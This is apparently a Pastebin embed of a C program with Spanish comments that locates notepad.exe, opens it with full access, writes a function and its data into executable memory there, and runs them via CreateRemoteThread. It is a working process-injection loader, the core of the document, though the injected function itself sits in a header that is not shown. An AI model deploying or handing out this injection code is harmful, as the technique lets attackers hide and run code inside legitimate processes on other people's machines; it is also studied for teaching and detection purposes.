document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /**
  2. *   Función principal que busca el proceso notepad.exe e inyecta nuestra función junto con los
  3. *   datos de la estructura creando un hilo.
  4. */
  5. #include <windows.h>
  6. #include <Shlwapi.h>
  7. #include <tlhelp32.h>
  8. #include "funcionInyectar.h"
  9.  
  10. //Nombre del proceso a buscar e inyectar.
  11. #define PROCESO_INYECTAR    "notepad.exe"
  12. //Tamaño de nuestra función+datos, es una estimación aproximada.
  13. #define TAM_THREAD          2048
  14.  
  15. int main(){
  16. DWORD pID = 0;
  17. HANDLE hProcess, hSnap;
  18. void *pRemoteThread;
  19. _paramInyectar paramInyectar, *PparamInyectar;
  20.  
  21. //Inicializamos datos de la estructara a injectar
  22. preparaInyeccion(&paramInyectar);
  23. //Es una estructura que almacena datos referentes a un proceso
  24. PROCESSENTRY32 pe32 = {0};
  25. //Obtenemos una instantánea de todos los procesos del sistema
  26. if((hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE) return -1;
  27. pe32.dwSize = sizeof(PROCESSENTRY32);
  28. //Obtenemos información sobre el primer proceso
  29. Process32First(hSnap, &pe32);
  30. //Vamos recorrmiendo todos los procesos hasta dar con el nuestro "notepad.exe"
  31. do{
  32. //Comparamos si el nombre del proceso actual es igual al buscado, no tiene en cuenta mayúsculas ni minúsculas
  33. if(StrCmpNI(PROCESO_INYECTAR, pe32.szExeFile, strlen(PROCESO_INYECTAR)) == 0){
  34. //Obtenemos el identificador de proeceso (pid) del proceso notepad.exe
  35. pID = pe32.th32ProcessID;
  36. //Forzamos salida, nada más que hacer
  37. break;
  38. }
  39. //Pasamos al siguiente proceso mientras sigan existiendo.
  40. }while(Process32Next(hSnap, &pe32));
  41. //Cerramos manejador de la instantánea si es correcto
  42. if(hSnap != INVALID_HANDLE_VALUE)
  43. CloseHandle(hSnap);
  44. //Abrimos el proceso "notepad.exe" con acceso total
  45. hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
  46. //Reservamos memoria(TAM_THREAD) en el espacio del proceso abierto para leer, escribir y ejecutar nuestra función inyectada.
  47. pRemoteThread = VirtualAllocEx(hProcess, 0, TAM_THREAD, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  48. //Escribimos la función a inyectar en el espacio recién reservado con el tamaño(TAM_THREAD) especificado.
  49. WriteProcessMemory(hProcess, pRemoteThread, funcionInyectada, TAM_THREAD, 0);
  50. //Reservamos memoria(tamaño de la estructura) en el espacio del proceso abierto para leer y escribir los datos de la estructura a inyectar.
  51. PparamInyectar = (_paramInyectar*)VirtualAllocEx(hProcess , 0, sizeof(_paramInyectar), MEM_COMMIT, PAGE_READWRITE);
  52. //Escribimos los datos de la estructura a inyectar en el espacio recién reservado con el tamaño de la estructura
  53. WriteProcessMemory(hProcess, PparamInyectar, &paramInyectar, sizeof paramInyectar, 0);
  54. //Creamos hilo para nuestra función en el proceso padre notepad.exe pasándole como parámetros al hilo nuestra estructura con los datos
  55. CreateRemoteThread(hProcess , 0, 0, (DWORD (__stdcall *)(void *))pRemoteThread, PparamInyectar, 0, NULL);
  56. //Cerramos manejador del proceso "notepad.exe"
  57. CloseHandle(hProcess);
  58. return 0;
  59. }
');